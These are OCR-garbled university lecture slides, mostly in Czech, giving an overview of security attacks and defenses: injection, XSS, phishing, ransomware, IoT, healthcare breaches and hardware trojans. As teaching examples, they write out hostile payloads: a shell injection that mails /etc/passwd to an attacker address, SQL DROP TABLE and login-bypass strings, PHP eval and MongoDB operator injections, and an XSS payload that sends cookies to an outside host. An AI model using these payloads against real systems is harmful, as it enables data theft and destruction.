Ochrana paméti: WX (OpenBSD), NX (Windows)
Heap overflow
Integer overflow/underflow
Directory traversal
> /oS e /. /etc/passwd
» DoS, DDoS', Slow Loris
'loUT, 10ST

v

v

v

v
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DoS recovery

CUR COMPUTERS ARE Down,
S0 WE HAVE To Do
EVERYTHING MANUALLY. ..

Obréazek: Zdroj: pinterest.com/itpie/it-jokes/

M. Bursa Security
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DoS: Sound waves and HDD

scilloscope

Fig. 1. Experimental setup for performing acoustic attacks.

Obrazek: Zdroj: bleepingcomputer.com/news/security/acoustic-
attacks-on-hdds-can-sabotage-pcs-cctv-systems-atms-more/

M. Bursa Security
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DoS recovery

TABLE 1
ATTACK FREQUENCY RANGES FOR FOUR DIFFERENT HDD MODELS.

Attack Frequency

| HDD Model Capacity Window(s) (Hz)
WD3200AAKS-75L9A0 320 GB 12,300 - 2,510]
12,240 - 2,520]
| WDS000AAKS-75A7B0 500 GB [3.800 - 4,020]
14,725 - 5,006]
12,265 - 2,281]
[ 12,455 - 2,503
| WDI0EZEX-08WN4A0 1TB 16,700 - 6,845]

18,212 - 8,873]
112,839 - 12,840]
14,590 - 6,550]
17,502 - 7.900]
18,398 - 8,618]
19,420 - 10,200]

| WD4OEZRZ-00GXCBO 4 TB

Obrazek: Zdroj: bleepingcomputer.com/news/security/acoustic-
attacks-on-hdds-can-sabotage-pcs-cctv-systems-atms-more/
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Zakladni utoky

» Buffer overflow (PreteCeni zasobniku)

» Stack smashing (Canaries: Terminator, Random, Random
XOR)

» Return-to-libc-attack

» Snazi se o provedeni tzv. ShellCode

Ochrana paméti: WX (OpenBSD), NX (Windows)
Heap overflow

Integer overflow
Directory traversal

> /oSS e/ /ete/passwd
» DoS, DDoS, Slow Loris

M. Bursa Security
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Zakladni utoky

» Format string attack
» printf ("%s", buf),printf("%s")

M. Bursa Security
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Zakladni utoky

» Format string attack
» printf ("%s", buf),printf("%s")
» Permissions hacking
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Zakladni utoky

Priklad: » Format string attack
A » printf ("%s", buf),printf("%s")

- ANA . .
. » Permissions hacking
R » Race conditions

Obrazek: XOR Race
condition

M. Bursa Security
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Zakladni utoky
Priklad: » Format string attack

> printf ("%s", buf),printf ("%s")
» Permissions hacking
» Race conditions

» Spirit Rover

Obrazek: Spirit Rover
(filesystem full)

M. Bursa Security
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Zakladni utoky

» Format string attack

» printf ("%s", buf),printf("%s")
» Permissions hacking
» Race conditions

» Spirit Rover
» TOCTTOU
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TOCTTOU

» Time-of-check-to-time-of-use
» race conditions

if (access(file, R_OK) != 0) {
exit (1);

fd = open(file, O_RDONLY) ;
// do something with the file descriptor fd...

M. Bursa Security
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TOCTTOU

» Time-of-check-to-time-of-use
» race conditions

if (access(file, R_OK) != 0) {
exit (1);

*k*k

fd = open(file, O_RDONLY) ;
// do something with the file descriptor fd...

M. Bursa Security
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Pouziti

HACKED IN TRANSLATION
SUBTITLES WRITERS. ~200 MILLION USERS

Attacker uploads to User loads.
‘malicious online repository ‘malicious subtitles.
subitles file and manipulates the from trusted
ranking algorithm sources

Obrazek: Hacked in Translation
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A human trap

Social hacking

' HUMAN TRAP

LOOK, AN INTERNET

CONNECTION!

SInGER
e

Obrazek: Zdroj: pinterest.com/itpie/it-jokes/
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Code injection: Shell

U jazykul, nevyzadujicich striktni pouziti typu
» Vkladani Skodlivého kédu
» Vkladani celych prikazl

» Priklad: Guestbook

» ; cat /etc/passwd | email
attacker@attacker.com

M. Bursa Security
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Code injection: PHP

Smyvar = "varname";
$x = S_GET['arg’];
eval ("\Smyvar = \$x;");

M. Bursa Security
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Code injection: PHP

Smyvar = "varname";
$x = S_GET['arg’];
eval ("\Smyvar = \$x;");

Argument:

"10 ; system(\"/bin/echo uh-oh\");"

M. Bursa Security
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if ( isset( $_GET[’COLOR’] ) )
Scolor = $_GET[’/COLOR’];
require( $color . ' .php’ );

M. Bursa Security
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Code injection: SQL

"SELECT * FROM users WHERE
name = ' " + userName + " ’;"

M. Bursa Security
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Code injection: SQL

"SELECT * FROM users WHERE
name = ' " + userName + " ’;"

a’ or 't’'="t
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Code injection: SQL

"SELECT % FROM users WHERE
name =’ " + userName + " ;"

SELECT
name

*

FROM users WHERE
ra’ or ltl=ltl;

» (zneuziti: ovéreni uzivatele vzdy projde)
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Code injection: SQL

"SELECT % FROM users WHERE
name = ' " + userName + " ’;"

a’ ;DROP TABLE users; SELECT % FROM
data WHERE name LIKE ’'%
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Code injection: SQL

"SELECT % FROM users WHERE
name = ' " + userName + " ’;"

a’ ;DROP TABLE users; SELECT % FROM
data WHERE name LIKE ’'%

SELECT % FROM users WHERE
name = ’"a’;DROP TABLE users; SELECT x FROM
data WHERE name LIKE ’%’;
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Code injection: SQL

"SELECT * FROM data WHERE
id = " + a_variable + ";"

M. Bursa Security



OWASP Top Ten

OWASP Top Ten Mobile
Zakladni utoky Prehled

Pricing

Vulnerable Medical Devices

Code injection: SQL

"SELECT * FROM data WHERE
id = " + a_variable + ";"

1;DROP TABLE users
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Code injection: SQL

"SELECT * FROM data WHERE
id = " + a_variable + ";"

1;DROP TABLE users

SELECT » FROM data
WHERE id = 1;DROP TABLE users;

» (ochrana: silna kontrola typu)
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Code injection: SQL

HI, THIS 15 OH, DEFR - DID HE | DID YOU REALLY WELL, WEVE LOST THIS
YOUR SONG SCHOOL. | BREAKSOMETHING? | MAME YOUR SON YEAR'S GTUDENT RECORDS.
WE'RE HAVING SOME IN A /Ay — Robert"); DROP T HOPE YOURE HAPPY.
(OMPUTER TROUBLE. TABLE Students;-- 7 ‘]l

I\ R AND T HOPE
, ~ OH. YES, LITTLE < YOUVE LEARNED

0 BOBBY TARLES, TO SENITIZE YOUR
i ? ﬁ WE CALL HIM. DATABASE INPUTS,

Obrazek: Zdroj: xkcd.com
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Obrana proti SQL Injection

» Prepared Statement, Odstranéni literalu
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Odstranéni literall

Pfed odstranénim

SELECT « FROM USER WHERE NAME='Smith’
SELECT x FROM ITEMS WHERE USERID=2
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Odstranéni literall

Pfed odstranénim

SELECT « FROM USER WHERE NAME='Smith’
SELECT x FROM ITEMS WHERE USERID=2

Po odstranéni

SELECT x FROM USER WHERE NAME=?
SELECT = FROM ITEMS WHERE USERID="?
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Obrana proti SQL Injection

» Prepared Statement, Odstranéni literalt
» Opravnéni (GRANT/REVOKE, uzivatelské role)
» Ulozené procedury (kontrola typu)
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Stored procedures

Mame dvé ulozené procedury

GET_PASSWORD (userName)
GET_USER (userName, password)
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Stored procedures

Mame dvé ulozené procedury

GET_PASSWORD (userName)
GET_USER (userName, password)

Lze zneuzit:

GET_USER (' admin’,
"7 || GET_PASSWORD ("admin’) || ')
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Code injection: NoSQL MongoDB/Node.js
Simple app:

query.title = ...; query.type =
if (query.type != ’secret’) {

return Document.find(query.exec () .json()
} else return Jjson([])

M. Bursa Security
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Code injection: NoSQL MongoDB/Node.js

query.title = ...; query.type =
if (query.type != ’secret’) {

return Document.find (query.exec () .Jjson()
} else return Json([])

Example usage:

{"type" : "blog"} -> blogs: OK
{"type" : "secret"} -> empty array: OK
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Code injection: NoSQL MongoDB/Node.js

query.title = ...; query.type =
if (query.type != ’secret’) {
return Document.find (query.exec () .Jjson()
} else return Json([])
Example usage:
{"type" : "blog"} -> blogs: OK
{"type" : "secret"} -> empty array: OK
Injection:
{ "type": { "S$Sgte": "" } } -> All documents: Err!

blog.sqgreen.io/mongodb-will-not-prevent-nosqgl-injections-in=your<node- js—app
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Obrana proti SQL Injection

» Prepared Statement, Odstranéni literalu
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Cross-Site Scripting (XSS)

http://host/a.php?variable=%22%3e%$3c%73%63%72
$69%70%74%3e%64%6£%63%75%6d%65%6e%74%2e%6Cc%6f
$63%61%74%69%6£%6e%$3d%27%68%74%74%70%3a%2£%2€
$77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79
%$2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2£%63%6f
$6£%60%69%65%2e%63%67%69%3£%27%20%2b%64%6£%63
%$75%6d%65%6e%74%2e%63%6£%6£%6b%69%65%3c%2£%73
$63%72%69%70%74%3e
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Cross-Site Scripting (XSS)

http://host/a.php?variable="><script>

document.location=
"http://www.cgisecurity.com/cgi-bin/cookie.cgi?
" $20+document .cookie</script>
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Web-based attacks

» XSS (Cross-site scripting)
» Cookies (session hijack), sniffing
» Confused-deputy, napr.: CSRF?

2Cross-site request forgery
SHTTP Strict Transfer Security
“HTTP Public Key Pinning
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Web-based attacks

>

XSS (Cross-site scripting)
Cookies (session hijack), sniffing
Confused-deputy, napr.: CSRF?
SSL stripping (HSTS3, HPKP?)

v

v

v

2Cross-site request forgery
SHTTP Strict Transfer Security
“HTTP Public Key Pinning
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Web-based attacks

>

XSS (Cross-site scripting)
Cookies (session hijack), sniffing
Confused-deputy, napr.: CSRF?
SSL stripping (HSTS3, HPKP?)

Clickjacking (Ul Redress), TabNabbing, Silent link
replacement, Custom Find (Ctrl+F) event, ...

v

v

v

v

2Cross-site request forgery
SHTTP Strict Transfer Security
“HTTP Public Key Pinning
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Other / Nomenclature

» Evil maid attack, cold boot attack
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Other / Nomenclature

» Evil maid attack, cold boot attack

» Scareware, Rogueware, Malware, Adware, Spyware,
Dialer, Keylogger, Phishing attacks (Spear phishing,
Waterhole attacks), ...
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Other / Nomenclature

» Evil maid attack, cold boot attack

» Scareware, Rogueware, Malware, Adware, Spyware,
Dialer, Keylogger, Phishing attacks (Spear phishing,
Waterhole attacks), ...

» Ransomware, ...
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URL Padding

» https://facebook.com—-login.phishing.com/
| 2

https://facebook.com———————————————- login.phishi
http://m.facebook.com————————————- login.xrwdnaet

Welcome o Fa...

“— C £ http://m.facebook.commmm—mm 77

facebook

or
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Homograph Attack

8 Zabezpeceno | https)//www.apple.com

Obrazek: IDN domena

@ Zabezpefeno | https)//www.apple.com

Obrazek: Classical

Which one is correct?
» https://www.xn-—80ak6aa92e.com/
» http://https://www.apple.com/
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Homographic phishing

hikkp: f e, epic. com)
btk | fwaen, epic, com)f

Obrazek: Zdroj: https://www.s3c.cz/blog/posts/
temer-neodhalitelny—-homograficky-phishing

Which one is correct?
» http://www.epic.com/
» http://www.epic.com/
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Zakladni utoky Prehled

Ransomware (2016, 1 BTC)

Warning Messagel!!
We are sorry to say that your computer and your files have been encrypted,
but wait, don\'t worry. There is a way that you can restore your computer and all of your files

06 Days 22:59:44 Hours

When countdown ends your files will be lost forever

You must send at least1.0Bitcoin to our wallet and you will get your files back
Your personal unique ID: [redacted]
Send 1.0BTC to this address: [redacted]

Wle are somy to say that your
ot wat, dont woy. sa

Your personal urique ID.

Youmust send at least *1.0" Bicointo addre

After you\'ve made the payment, you will get a code, please insert it here:
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Ransomware PopcornTime (2016, 1 BTC)

Restoring your files - The nasty way

Send the link below to other people, if two or more people will install this file and pay, we
will decrypt your files for free.

hitps://3hnuhydudpd247qb.onion to/rf0e72bfe849c71decdas6 7ie60c78fas

Obréazek: Save with MLM ;)
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Ransomware

Studie Q3 2016 Malware Review spolec¢nosti PhishMe
uvadi nasledujici hlavni trendy phishingovych e-mailti:
97 % z nich je spojeno s néjakou formou distribuce
ransomwaru, pouze 3 % distribuuji zcela jiny malware
— predevsim ruzné formy ‘“tiché” infekce uréené

k tomu, aby v organizacich mohly nepozorované
fungovat co nejdelsi dobu a sbirat data.
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Other / Nomenclature

» Evil maid attack, cold boot attack

» Scareware, Rogueware, Malware, Adware, Spyware,
Dialer, Keylogger, Phishing attacks (Spear phishing,
Waterhole attacks), ...

» Ransomware, CaaS (Crimeware as a S.)

5Domain Generation Algorithm; sometimes FastFlux (300s record change)
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Other / Nomenclature

» Evil maid attack, cold boot attack

» Scareware, Rogueware, Malware, Adware, Spyware,
Dialer, Keylogger, Phishing attacks (Spear phishing,
Waterhole attacks), ...

» Ransomware, CaaS (Crimeware as a S.)

» Side channel attacks, timing attacks

5Domain Generation Algorithm; sometimes FastFlux (300s record change)
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Other / Nomenclature

» Evil maid attack, cold boot attack

Scareware, Rogueware, Malware, Adware, Spyware,
Dialer, Keylogger, Phishing attacks (Spear phishing,
Waterhole attacks), ...

Ransomware, CaaS (Crimeware as a S.)
Side channel attacks, timing attacks
MITM attacks, SSL Stripping

v

v

v

v

5Domain Generation Algorithm; sometimes FastFlux (300s record change)
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Other / Nomenclature

» Evil maid attack, cold boot attack

» Scareware, Rogueware, Malware, Adware, Spyware,
Dialer, Keylogger, Phishing attacks (Spear phishing,
Waterhole attacks), ...

» Ransomware, CaaS (Crimeware as a S.)
» Side channel attacks, timing attacks

» MITM attacks, SSL Stripping

» ROP, emulation detection

5Domain Generation Algorithm; sometimes FastFlux (300s record change)
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Other / Nomenclature

» Evil maid attack, cold boot attack

» Scareware, Rogueware, Malware, Adware, Spyware,
Dialer, Keylogger, Phishing attacks (Spear phishing,
Waterhole attacks), ...

» Ransomware, CaaS (Crimeware as a S.)
» Side channel attacks, timing attacks

» MITM attacks, SSL Stripping

» ROP, emulation detection

» Botnets, DGA®

5Domain Generation Algorithm; sometimes FastFlux (300s record change)
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2015 attack vectors for malware

>

.exe files: 30 %

.Zip, .jar: more than 16 %

MSOffice: 9 %, PDF: 7.5 %

trend: trusted files: PDF, Flash, MSOffice

v

v

v

8in Checkpoint Security Report, 2016
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2015 attack vectors for malware

» .exe files: 30 %

» .zip, .jar: more than 16 %

MSOffice: 9 %, PDF: 7.5 %

trend: trusted files: PDF, Flash, MSOffice

v

v

v

Antivirus: Signature based: Creating unknown malware is
easier than ever.

8in Checkpoint Security Report, 2016

M. Bursa Security



OWASP Top Ten

OWASP Top Ten Mobile
Zakladni utoky Prehled

Pricing

Vulnerable Medical Devices

2015 attack vectors for malware

» .exe files: 30 %

» .zip, .jar: more than 16 %

» MSOffice: 9 %, PDF: 7.5 %

» trend: trusted files: PDF, Flash, MSOffice

» Antivirus: Signature based: Creating unknown malware is
easier than ever.

» With nearly 12 million new malware variants being
discovered every month, more new malware has been
discovered in the past two years than in the previous 29
years combined®

8in Checkpoint Security Report, 2016
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Trends...?

NUMBER OF GLOBAL USERS (MILLIONS)

2000
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-
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Obrazek: Zdroj: Checkpoint Security Report.2015
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Trends in Android Malware

» Obfuscation

NUMBER OF GLOBAL USERS (MILLIONS)

@
a
[ }

FEEEEE R

Obrézek: Zdroj:
Checkpoint Security
Report 2015
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Trends in Android Malware

» Obfuscation

NUMBER OF GLOBAL USERS (MILLIONS)

E » Evasion
e Hel techniques
u

Obrézek: Zdroj:
Checkpoint Security
Report 2015
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Trends in Android Malware

» Obfuscation

NUMBER OF GLOBAL USERS (MILLIONS)

: » Evasion
e Hel techniques
T » Droppers

Obrézek: Zdroj:
Checkpoint Security
Report 2015
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Trends in Android Malware

NUMBER OF GLOBAL USERS (MILLIONS) > Obfuscatlon
= » Evasion

B - techniques
= » Droppers

» Redundancy

Obrézek: Zdroj:
Checkpoint Security
Report 2015
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Trends in Android Malware

NUMBER OF GLOBAL USERS (MILLIONS) > Obfuscation
: » Evasion
e techniques
= » Droppers
| » Redundancy
Obrazek: Zdroj: .
[ i n
Checkpoint Security » Persistency
Report 2015
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Trends in Android Malware

» Obfuscation

NUMBER OF GLOBAL USERS (MILLIONS)

: » Evasion
e Hel techniques
T » Droppers

» Redundancy
Obrézek: Zdroj:

Checkpoint Security > Pe.rsllstency
Report 2015 > Privilege
escalation
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Android Malware: Trends and Vulnerabilities
challenges

» System Vulnerabilities: Over 24.000 types, security
patches delays
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Android Malware: Trends and Vulnerabilities
challenges

» System Vulnerabilities: Over 24.000 types, security
patches delays

» Root Access nad Configuration Changes: Rooting,
jailbreaking also for cybercriminals.
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Android Malware: Trends and Vulnerabilities
challenges

» System Vulnerabilities: Over 24.000 types, security
patches delays

» Root Access nad Configuration Changes: Rooting,
jailbreaking also for cybercriminals.

» Repackaged or fake apps
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Android Malware: Trends and Vulnerabilities
challenges

» System Vulnerabilities: Over 24.000 types, security
patches delays

» Root Access nad Configuration Changes: Rooting,
jailbreaking also for cybercriminals.

» Repackaged or fake apps

» Trojans and Malware: Embedded in apps, lack of threat
prevention, small screens = spotting differencies problems
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Android Malware: Trends and Vulnerabilities
challenges

» System Vulnerabilities: Over 24.000 types, security
patches delays

» Root Access nad Configuration Changes: Rooting,
jailbreaking also for cybercriminals.

» Repackaged or fake apps

» Trojans and Malware: Embedded in apps, lack of threat
prevention, small screens = spotting differencies problems

» MITM attacks: Free and public WiFi hotspots
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THE INTERNET OF THINGS

AN EXPLOSION OF CONNECTED POSSIBILITY

4B BILLION

28 B

Obrazek: 10T
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Trends...?

rl

] ==

ON THE INTERNET OF THINGS

NOBODY K YOU'RE A FRIDGE

Obrazek: 10T
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Risk by region

Figure 7 Distribution of Low-, Medium-, and High-Risk Applications, by Region
e \

15 12 10 1
North
Rimerical LATAM EMEA APAC

54 58 58 59

Low Risk Medium Risk W High Risk

or more info visit www.clsco.comigofacr alvaln
F ot migofacr2017 il

Obrazek: Source: Cisco 2017 Annual Cybersecurity Report
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Risk by industry

Figure 8 Distribution of Low-, Medium-, and High-Risk Applications, by Industry
e \

] 10 6 16 17 8
es {E ﬂ- =)= %
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Financial Services Government Healthcare Providers Higher Education K-12 Manufacturing
" 0 " 2 .
—
—
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Obrazek: Source: Cisco 2017 Annual Cybersecurity Report
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Top vulnerabilities in Exploit Kits

Figure 11 Top Vulnerabilities in Exploit Kits
urc: G Sscry s
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Obrazek: Source: Cisco 2017 Annual Cybersecurity Report
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Total Spam volume

Figure 15 Total Spam Volume
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Spam: Percentage of malicious attachment

Figure 17 Percentage of Total Spam Containing
Malicious Attachments
80%

Containing Malicious Attachments

Contains Malicious .hta

60%

Contains Malicious .js

40%
Contains Malicious .z

P

Contains Malicious .docm
20%

Percentage of Total Spam

Contains Malicious .wsf

cEo 553559953959 552353598%8
§855353398338585853532¢838
S82<33°5238062838223835386
w0 <
Y S
] ]

For more info visit www.cisco.com/gofacr2017

alialn
c1sco




OWASP Top Ten

OWASP Top Ten Mobile
Zakladni utoky Prehled

Pricing

Vulnerable Medical Devices

Spam attacks: Hailstorm and Snowshoe

» Hailstorm: Target antispam systems. Small window
between launching spam campaign and pushing
signatures to detectors. Seconds/minutes.
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Spam attacks: Hailstorm and Snowshoe

» Hailstorm: Target antispam systems. Small window
between launching spam campaign and pushing
signatures to detectors. Seconds/minutes.

» Snowshoe: Hide under the radar of volume-based
detection. About 25 queries per hour.

Source: Cisco 2017 Annual Cybersecurity Report
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Spam attacks: Hailstorm and Snowshoe

Common points:

» Evade a bad reputation by sending from clean IPs and
domains

» Emulate marketing mail with professional content and
subscription management

» Use well-configured email systems rather than sloppy
scripts or spam bots

» Properly set up forward-confirmed reverse DNS and Send

Policy Framework (SPF) records
Source: Cisco 2017 Annual Cybersecurity Report

M. Bursa Security



OWASP Top Ten

OWASP Top Ten Mobile
Zakladni utoky Prehled

Pricing

Vulnerable Medical Devices

Spam: Hailstorm and Snowshoe

Figure 18 Comparison of Hailstorm and Snowshoe Spam Attacks
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Securing 10T

» Purchase loT devices that incorporate security-by-design
according to NIST 800-160 and that are capable of hosting
a native security layer
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Securing 10T

» Purchase loT devices that incorporate security-by-design
according to NIST 800-160 and that are capable of hosting
a native security layer

» Know what devices are on the network and know the roles,
functionalities, capabilities, restrictions, and vulnerabilities
of those devices
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» Purchase loT devices that incorporate security-by-design
according to NIST 800-160 and that are capable of hosting
a native security layer

» Know what devices are on the network and know the roles,
functionalities, capabilities, restrictions, and vulnerabilities
of those devices

» Limit the number of 10T devices and the number of
remotely accessible devices
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Securing 10T

» Purchase loT devices that incorporate security-by-design
according to NIST 800-160 and that are capable of hosting
a native security layer

» Know what devices are on the network and know the roles,
functionalities, capabilities, restrictions, and vulnerabilities
of those devices

» Limit the number of 10T devices and the number of
remotely accessible devices

» Harden all default settings to correspond to cybersecurity
best practices

http:
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Securing 10T

» Purchase loT devices that incorporate security-by-design
according to NIST 800-160 and that are capable of hosting
a native security layer

» Know what devices are on the network and know the roles,
functionalities, capabilities, restrictions, and vulnerabilities
of those devices

» Limit the number of 10T devices and the number of
remotely accessible devices

» Harden all default settings to correspond to cybersecurity

best practices
> ...

http:
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Securing 10T

» Institute layered defenses that monitor, regulate, and react
to traffic passed between loT devices in real time. Al and
ML solutions are examples of layered defenses that can
detect anomalous activity or traffic and immediately
segregate the potentially compromised device while also
notifying personnel to the issue
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Securing 10T

» Institute layered defenses that monitor, regulate, and react
to traffic passed between loT devices in real time. Al and
ML solutions are examples of layered defenses that can
detect anomalous activity or traffic and immediately
segregate the potentially compromised device while also
notifying personnel to the issue

» Actively monitor and critically assess the loT microcosm
according to the risk appetite of the organization,
information shared through trusted networks pertaining to
threats and device vulnerabilities, and the current threat
landscape.
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Securing 10T

» Institute layered defenses that monitor, regulate, and react

>

to traffic passed between loT devices in real time. Al and
ML solutions are examples of layered defenses that can
detect anomalous activity or traffic and immediately
segregate the potentially compromised device while also
notifying personnel to the issue

Actively monitor and critically assess the loT microcosm
according to the risk appetite of the organization,
information shared through trusted networks pertaining to
threats and device vulnerabilities, and the current threat
landscape.

> ...
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Securing 10T

» Change the default username and password on devices,
segregate them from other parts of the network, and
disable unneeded services to lessen the attack surface
and prevent them acting as a pivot point to be used in
attacks against other parts of the network

http:
//www.esecurityplanet.com/network—-security/
iot-security-securing-the-internet-of-things.
html
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Healthcare

» Patient health records: highest value on the black market:
10x more than CC; CC can be reissued easily, PHR not’

7in Checkpoint Security Report 2016
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10x more than CC; CC can be reissued easily, PHR not’

» 60% inrease in healthcare security incidents

» 21 % of U.S. healthcare organization do not use disaster
recovery technology, 51.7 % of these intend to purchase in
the future

» 19 % of U.S. healthcare organizations report having a

security breach in the last year
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» 60% inrease in healthcare security incidents

» 21 % of U.S. healthcare organization do not use disaster
recovery technology, 51.7 % of these intend to purchase in
the future

» 19 % of U.S. healthcare organizations report having a
security breach in the last year
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» Patient health records: highest value on the black market:
10x more than CC; CC can be reissued easily, PHR not’

» 60% inrease in healthcare security incidents
» 21 % of U.S. healthcare organization do not use disaster
recovery technology, 51.7 % of these intend to purchase in
the future
» 19 % of U.S. healthcare organizations report having a
security breach in the last year
» The top 3 perceived threat motivators in the US:
» 80 % workers snooping on relatives/friends
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Healthcare

» Patient health records: highest value on the black market:
10x more than CC; CC can be reissued easily, PHR not’

» 60% inrease in healthcare security incidents
» 21 % of U.S. healthcare organization do not use disaster
recovery technology, 51.7 % of these intend to purchase in
the future
» 19 % of U.S. healthcare organizations report having a
security breach in the last year
» The top 3 perceived threat motivators in the US:
» 80 % workers snooping on relatives/friends
» 66 % concerned with financial identity theft
» 51 % identity theft
’in Checkpoint Security Report 2016
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Major Health Care Data Cyber Attacks

Major Health Care Data Cyber Attacks
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BREACHES IMPACTING OVER 500 PATIENTS

Source: TrapX Security, Inc., 2016
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Medical identity Theft

AN

Medical identity theft due to provider data breaches
Will impact 1 in 13 patients over five years

M Patients Impacted M Victimized M Paid OOP

10

Millions

2016 2017 2018 2019

Source: Accenture, 2015 wvia root.cz
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Top 10 HealthCare Cyber Attacks of 2016

Company | Impact.indiv. | Reported
Banner Health 3.620.000 Aug., 3
Newkirk Products 3.446.120 Aug., 9
21st Century Oncology 2.213.597 | March, 4
Valley Anesthesiology Consultants, Inc. 882.590 Aug, 12
Peachtree Orthopaedic Clinic 531.000 Nov, 18
Central Ohio Urology Group, Inc. 300.000 May, 5
Southeast Eye Institute PA. 87.314 May, 5
Medical Colleagues of Texas, LLP 68.631 May, 11
Urgent Care Clinic of Oxford 64.000 | Sept., 30
Alliance Health Networks, LLC 42.372 Feb, 15

2016 TrapX Security, Inc.
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Top 10 HealthCare Cyber Attacks of 2016

#1 Banner Health, 3.620.000

Attack started on systems that process CC for food & bever.
Then moved laterally to compromise patient health care
records on other servers.

#2 Newkirk Products, 3.446.120

Cyber attacker gained access to a server containing important
health-plan info.

#3 21st Century Oncology, 2.213.597
Cyberattack on company’s database.
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Top 10 HealthCare Cyber Attacks of 2016

#4 Valley Anesthesiology Consultants, Inc., 882.590
Attackers gained access to server containing e. PHI®

#5 Peachtree Orthopaedic Clinic, 531.000
Patient database breach.

#6 Central Ohio Urology Group, Inc., 300.000

Unauthorized person posted online files and documents from
internal fileserver.

8Personal Health Info
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Top 10 HealthCare Cyber Attacks of 2016

#7 Southeast Eye Institute PA., 87.314
Associated business partner: Data breach.

#8 Medical Colleagues of Texas, LLP, 68.631
External entity entered computer network.

#9 Urgent Care Clinic of Oxford, 64.000
Ransomware attack. Urgent care staff noted that the server
was running slowly.

#10 Alliance Health Networks, LLC, 42.372

Patient database accessible via the Internet. Database
configuration error (MongoDB).
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HW Attacks: x86 architecture

» Can TPM® be really trusted? C. Bowden: Anything that is
“trusted” is a potentially lethal enemy of any secure system

9Trusted/Trusted(?) Platform Module

1OSystem Management Mode: LightEater rootkit, PoC
" Embedded Controller

12Trusted Computing Base
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“trusted” is a potentially lethal enemy of any secure system

» Can the (firmware of) BIOS/UEFI and the SMM'?,
GPU/NIC/SATA/HDD/EC'! be trusted...?

» BIOS/UEFI loads as the first code — can affect the
following images loaded
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HW Attacks: x86 architecture

» Can TPM® be really trusted? C. Bowden: Anything that is
“trusted” is a potentially lethal enemy of any secure system

» Can the (firmware of) BIOS/UEFI and the SMM'?,
GPU/NIC/SATA/HDD/EC'! be trusted...?

» BIOS/UEFI loads as the first code — can affect the
following images loaded

» The peripherals: HW, Firmware and OS drivers and stack:
Outside of TCB'2

9Trusted/Trusted(?) Platform Module
1OSystem Management Mode: LightEater rootkit, PoC
" Embedded Controller

12Trusted Computing Base
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HW Attacks: x86 architecture: Secure(?) BIOS/UEFI

How can BIOS become malicious?
» Backdoored (malicious) by vendor

13System Management Mode
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HW Attacks: x86 architecture: Secure(?) BIOS/UEFI

How can BIOS become malicious?
» Backdoored (malicious) by vendor

» Somebody able to later modify the BIOS — lacking
reflashing protection, exploiting flaws in BIOS and
reflashing before SMM'2 locks are applied

13System Management Mode
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HW Attacks: x86 architecture: Secure(?) BIOS/UEFI

How can BIOS become malicious?
» Backdoored (malicious) by vendor

» Somebody able to later modify the BIOS — lacking
reflashing protection, exploiting flaws in BIOS and
reflashing before SMM'2 locks are applied

» SPI programming interface (physical attack)

J. Rutkowska, Intel x86 considered harmful, Oct. 2015

13System Management Mode
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HW Attacks: x86 architecture

TPM problems
» Maintaining a long chain of trust
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HW Attacks: x86 architecture

TPM problems
» Maintaining a long chain of trust

» Need to anchor the chain at some trusted piece of code,
somewhere at the very beginning of the platform life cycle
(CRTM, Core Root of Trust for Measurement)
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HW Attacks: x86 architecture

TPM problems
» Maintaining a long chain of trust

» Need to anchor the chain at some trusted piece of code,
somewhere at the very beginning of the platform life cycle
(CRTM, Core Root of Trust for Measurement)

» This must be ROM
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HW Attacks: x86 architecture

TPM problems
» Maintaining a long chain of trust

» Need to anchor the chain at some trusted piece of code,
somewhere at the very beginning of the platform life cycle
(CRTM, Core Root of Trust for Measurement)

» This must be ROM
» ...but is implemented within BIOS (SPI flash memory)

J. Rutkowska, Intel x86 considered harmful, Oct. 2015

M. Bursa Security



OWASP Top Ten

OWASP Top Ten Mobile
Zakladni utoky Prehled

Pricing

Vulnerable Medical Devices

HW Attacks: (Pre)fabrication Attacks
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Obrazek: IC design: threat vectors (red), 3rd
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HW Attacks: (Pre)fabrication Attacks

Threat model:

» Dopant-level Trojans: Short-circuit of victim transistors (Ino
added/removed gates/wires), hard to detect during
physical inspection, better detected by post-fabrication
functional testing
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Threat model:

» Dopant-level Trojans: Short-circuit of victim transistors (Ino
added/removed gates/wires), hard to detect during
physical inspection, better detected by post-fabrication
functional testing

» Inserted malicious circuitry; protection:

» side channel (anomaly detection)
» add sensors (propagation delay, ...)

» Yang, Hicks: Single gate prefabrication attack...

M. Bursa Security



OWASP Top Ten

OWASP Top Ten Mobile
Zakladni utoky Prehled

Pricing

Vulnerable Medical Devices

HW Attacks: (Pre)fabrication Attacks

Threat model:

» Dopant-level Trojans: Short-circuit of victim transistors (Ino
added/removed gates/wires), hard to detect during
physical inspection, better detected by post-fabrication
functional testing

» Inserted malicious circuitry; protection:

» side channel (anomaly detection)
» add sensors (propagation delay, ...)

» Yang, Hicks: Single gate prefabrication attack...

» ...triggered by specific sequence of instructions (fast
toggling of one signal) — need to be stealth so it is not

discoverable by common tests/benchmarks
K. Yang, M. Hicks et al. A2: Analog Malicious Hardware, 2016
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HW Attacks: (Pre)fabrication Attacks
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Figure 4: Design concepts of analog trigger circuit based on
capacitor charge sharing.
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HW Attacks: (Pre)fabrication Attacks

Trigger
?] Inputs

M1
Switch
leskage

Cunit Cmain

.

o Trigger
Qutput

Detector
e M| o
eskage ’_{ leskage

“igure 5: Transistor level schematic of analog trigger circuit.

Trigger
output

1
Trigger N ﬂli
input §
o

20

39
tme {us)

Figure 7: SPICE simulation waveform of analog trigger
circuit.

Obrazek: Attack triggering

K. Yang, M. Hicks et al. A2: Analog Malicious Hardware, 2016

M. Bursa Security



OWASP Top Ten

OWASP Top Ten Mobile
Zakladni atoky Prehled

Pricing

Vulnerable Medical Devices

Botnet pricing, Feb 2013

Mix/No. bots H 1000 \ 5000 \ 10 000
World mix 25USD | 110 USD | 200 USD
European mix 50 USD | 225 USD | 400 USD
Germany, Canada, GB | 80 USD | 350 USD | 600 USD
us 120 USD | 550 USD | 1000 USD

http://blog.webroot.com/2013/02/28/how-much-does-it-cost-to-buy-10000-u-s-based-malware-infected-hosts/
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Attack pricing, Nov, 2012

Botnet/hr 2 USD
Botnet (2000) 185 USD
Spying SMS (trojan) 350 USD
SMS Spam (1 milion addresses) 10 USD
Hack Gmail account 150 USD
Hack Twitter account 120 USD
Hack Facebook account 120 USD
DDoS attack 28 — 65 USD
Corporate e-mail attack 500 USD

http://www.gizmodo.co.uk/2012/11/how-much-does-it-cost-to-hire-a-botnet-or-hack-a-facebook-account/
